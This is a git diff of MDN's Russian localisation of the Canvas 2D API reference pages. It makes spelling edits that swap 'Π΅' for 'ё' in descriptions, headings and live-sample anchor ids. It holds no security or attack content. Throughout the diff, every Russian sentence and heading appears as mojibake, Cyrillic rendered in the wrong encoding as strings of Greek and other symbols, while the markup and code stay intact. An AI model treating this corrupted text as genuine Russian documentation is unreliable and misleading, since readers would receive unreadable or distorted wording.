- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° с Π½Π°Ρ‡Π°Π»ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ <em>(x, y)</em>, ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ <em>width</em> ΠΈ высотой <em>height</em>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° с Π½Π°Ρ‡Π°Π»ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ <em>(x, y)</em>, ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ <em>width</em> ΠΈ высотой <em>height</em>.</dd>
</dl>
<h2 id="РисованиС_ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ²">РисованиС ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ²</h2>
@@ -167,7 +167,7 @@ ctx.fillRect(10, 10, 55, 50);
<dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
<dd>ΠŸΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ Π² Π²ΠΈΠ΄ΠΈΠΌΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</dd>
<dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ отсСчСния ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°. ВсС Ρ‡Ρ‚ΠΎ рисуСтся послС Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>clip()</code> примСняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ области отсСчСния. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования см. Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">ΠžΠ±Π»Π°ΡΡ‚ΠΈ отсСчСния</a> руководства ΠΏΠΎ Canvas.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ отсСчСния ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°. ВсС Ρ‡Ρ‚ΠΎ рисуСтся послС Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>clip()</code> примСняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ области отсСчСния. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования см. Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">ΠžΠ±Π»Π°ΡΡ‚ΠΈ отсСчСния</a> руководства ΠΏΠΎ Canvas.</dd>
<dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡƒΠ·Π½Π°Ρ‚ΡŒ, содСрТится Π»ΠΈ указанная Ρ‚ΠΎΡ‡ΠΊΠ° Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π΅.</dd>
<dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
@@ -201,7 +201,7 @@ ctx.fillRect(10, 10, 55, 50);
<dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»Π°, примСняСмоС ΠΊ Ρ„ΠΎΡ€ΠΌΠ°ΠΌ ΠΈ изобраТСниям, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠ½ΠΈ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° холст. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>1.0</code> (ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ).</dd>
<dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
- <dd>БовмСстно с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ <code>globalAlpha</code> это свойство опрСдСляСт ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ изобраТСния Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</dd>
+ <dd>БовмСстно с ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ <code>globalAlpha</code> это свойство опрСдСляСт ΠΊΠ°ΠΊ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ изобраТСния Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</dd>
</dl>
<h2 id="РисованиС_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">РисованиС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h2>
@@ -217,7 +217,7 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("ImageData")}} с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ. Π¦Π²Π΅Ρ‚ всСх пиксСлов Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ устанавливаСтся Π² ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("ImageData")}} с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ. Π¦Π²Π΅Ρ‚ всСх пиксСлов Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ устанавливаСтся Π² ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ.</dd>
<dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("ImageData")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎ пиксСлах, располоТСнных ΠΏΠΎΠ΄ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ холста, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠΌ Π΄Π»ΠΈΠ½ΠΎΠΉΒ <em>sw</em> ΠΈ высотой <em>sh</em>, Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ находится Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ <em>(sx, sy)</em>.</dd>
<dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
@@ -228,7 +228,7 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
- <dd>Π Π΅ΠΆΠΈΠΌ сглаТивания ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ; Ссли ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½, изобраТСния Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ³Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ.</dd>
+ <dd>Π Π΅ΠΆΠΈΠΌ сглаТивания ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ; Ссли ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½, изобраТСния Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ³Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ.</dd>
</dl>
<h2 id="БостояниС_холста">БостояниС холста</h2>
@@ -237,9 +237,9 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
- <dd>БохраняСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС стилСй рисования, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ для этого стСк, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ внСсСнныС Π² Π½Π΅Π³ΠΎ измСнСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>restore()</code>.</dd>
+ <dd>БохраняСт Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС стилСй рисования, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ для этого стСк, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ внСсённыС Π² Π½Π΅Π³ΠΎ измСнСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>restore()</code>.</dd>
<dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
- <dd>ВосстанавливаСт состояниС стилСй рисования Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, сохранСнноС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>save()</code> Π² стСк состояний послСдним.</dd>
+ <dd>ВосстанавливаСт состояниС стилСй рисования Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, сохранённоС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>save()</code> Π² стСк состояний послСдним.</dd>
<dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
<dd>Доступная Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния обратная ссылка Π½Π° {{domxref("HTMLCanvasElement")}}. ΠœΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("null")}}, Ссли ΠΎΠ½Π° Π½Π΅ связана с элСмСнтом {{HTMLElement("canvas")}}.</dd>
</dl>
@@ -259,7 +259,7 @@ ctx.fillRect(10, 10, 55, 50);
<h3 id="Blink_ΠΈ_WebKit">Blink ΠΈ WebKit</h3>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· этих API ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="https://code.google.com/p/chromium/issues/detail?id=363198">Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</a>.</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· этих API ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="https://code.google.com/p/chromium/issues/detail?id=363198">Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</a>.</p>
<dl>
<dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
@@ -307,9 +307,9 @@ ctx.fillRect(10, 10, 55, 50);
<dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
<dd><span id="result_box" lang="ru"><span>Π Π°Π·ΠΌΠ΅Ρ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ элСмСнту canvas</span></span>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
<dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
- <dd>ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π°Π»ΡΡ для HD Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, Π½ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· спСцификации canvas.</dd>
+ <dd>ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π°Π»ΡΡ для HD Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, Π½ΠΎ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· спСцификации canvas.</dd>
<dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
- <dd>ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π°Π»ΡΡ для HD Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, Π½ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· спСцификации canvas.</dd>
+ <dd>ΠŸΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π°Π»ΡΡ для HD Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, Π½ΠΎ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· спСцификации canvas.</dd>
</dl>
<dl>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
index ec4db4e6e2..9c1a2edd80 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html
@@ -69,9 +69,9 @@ ctx.stroke();
<p>{{ EmbedLiveSample('Π‘ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅_ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
-<h3 id="Π­Ρ„Ρ„Π΅ΠΊΡ‚_ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ…_ΠΌΡƒΡ€Π°Π²ΡŒΠ΅Π²">Π­Ρ„Ρ„Π΅ΠΊΡ‚Β ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΌΡƒΡ€Π°Π²ΡŒΠ΅Π²</h3>
+<h3 id="Π­Ρ„Ρ„Π΅ΠΊΡ‚_ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ…_ΠΌΡƒΡ€Π°Π²ΡŒΡ‘Π²">Π­Ρ„Ρ„Π΅ΠΊΡ‚Β ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΌΡƒΡ€Π°Π²ΡŒΡ‘Π²</h3>
-<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Π­Ρ„Ρ„Π΅ΠΊΡ‚ ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΌΡƒΡ€Π°Π²ΡŒΠ΅Π²</a> - это Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰Π°ΡΡΡ Π² инструмСнтах Π²Ρ‹Π±ΠΎΡ€Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ выдСлСния ΠΎΡ‚ Ρ„ΠΎΠ½Π° изобраТСния, анимируя Π³Ρ€Π°Π½ΠΈΡ†Ρƒ..</p>
+<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Π­Ρ„Ρ„Π΅ΠΊΡ‚ ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΌΡƒΡ€Π°Π²ΡŒΡ‘Π²</a> - это Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰Π°ΡΡΡ Π² инструмСнтах Π²Ρ‹Π±ΠΎΡ€Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ выдСлСния ΠΎΡ‚ Ρ„ΠΎΠ½Π° изобраТСния, анимируя Π³Ρ€Π°Π½ΠΈΡ†Ρƒ..</p>
<div class="hidden">
<h6 id="HTML_2">HTML</h6>
@@ -102,7 +102,7 @@ const march = () =&gt; {
march();
</pre>
-<p>{{ EmbedLiveSample('Π­Ρ„Ρ„Π΅ΠΊΡ‚_ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ…_ΠΌΡƒΡ€Π°Π²ΡŒΠ΅Π²', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
+<p>{{ EmbedLiveSample('Π­Ρ„Ρ„Π΅ΠΊΡ‚_ΠΌΠ°Ρ€ΡˆΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ…_ΠΌΡƒΡ€Π°Π²ΡŒΡ‘Π²', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
index 46de026437..503a024b40 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html
@@ -29,7 +29,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineJoin
<dl>
<dt><code>round</code></dt>
- <dd>БкругляСт ΡƒΠ³Π»Ρ‹ Π·Π° счСт добавлСния сСктора с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ пСрСсСчСния Π»ΠΈΠ½ΠΈΠΉ ΠΈ радиусом Ρ€Π°Π²Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π΅ Π»ΠΈΠ½ΠΈΠΈ.</dd>
+ <dd>БкругляСт ΡƒΠ³Π»Ρ‹ Π·Π° счёт добавлСния сСктора с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ пСрСсСчСния Π»ΠΈΠ½ΠΈΠΉ ΠΈ радиусом Ρ€Π°Π²Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π΅ Π»ΠΈΠ½ΠΈΠΈ.</dd>
<dt><code>bevel</code></dt>
<dd>"Π‘Ρ€Π΅Π·Π°Π΅Ρ‚" ΡƒΠ³ΠΎΠ», рисуя Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ с Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌΠΈ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ пСрСсСчСния Π»ΠΈΠ½ΠΈΠΉ ΠΈ ΠΊΡ€Π°ΠΉΠ½ΠΈΡ… Ρ‚ΠΎΡ‡ΠΊΠ°Ρ… ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ.</dd>
<dt><code>miter</code></dt>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
index db3b7db1ae..c935fa4c67 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html
@@ -58,7 +58,7 @@ ctx.stroke(); // ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΏΡƒΡ‚ΡŒ</pre>
<p>{{ EmbedLiveSample('РисованиС_прямых_Π»ΠΈΠ½ΠΈΠΉ', 700, 180) }}</p>
-<h3 id="РисованиС_соСдинСнных_Π»ΠΈΠ½ΠΈΠΉ">РисованиС соСдинСнных Π»ΠΈΠ½ΠΈΠΉ</h3>
+<h3 id="РисованиС_соСдинённых_Π»ΠΈΠ½ΠΈΠΉ">РисованиС соСдинённых Π»ΠΈΠ½ΠΈΠΉ</h3>
<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Β <code>lineTo()</code> автоматичСски добавляСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠΎΠ΄ΠΏΡƒΡ‚ΡŒ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ всС Π»ΠΈΠ½ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Π²Π΅Π΄Π΅Π½Ρ‹ ΠΈ Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Ρ‹ вмСстС. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рисуСт Π±ΡƒΠΊΠ²Ρƒ 'M' линиями ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ.</p>
@@ -82,7 +82,7 @@ ctx.stroke();</pre>
<h4 id="Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹</h4>
-<p>{{ EmbedLiveSample('РисованиС_соСдинСнных_Π»ΠΈΠ½ΠΈΠΉ', 700, 180) }}</p>
+<p>{{ EmbedLiveSample('РисованиС_соСдинённых_Π»ΠΈΠ½ΠΈΠΉ', 700, 180) }}</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
index 08126dbb6d..c91b520c4a 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineWidth
---
<div>{{APIRef}}</div>
-<p><code>Бвойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, прСдоставляСмоС Canvas 2D API Π·Π°Π΄Π°Π΅Ρ‚ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΉ Π² пиксСлах. ΠŸΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ свойства возвращаСтся Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΡ€ΠΈ Π·Π°Π΄Π°Π½ΠΈΠΈ свойства, присваиваСмоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ числом, ноль, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ числа, {{jsxref("Infinity")}} ΠΈ {{jsxref("NaN")}} ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
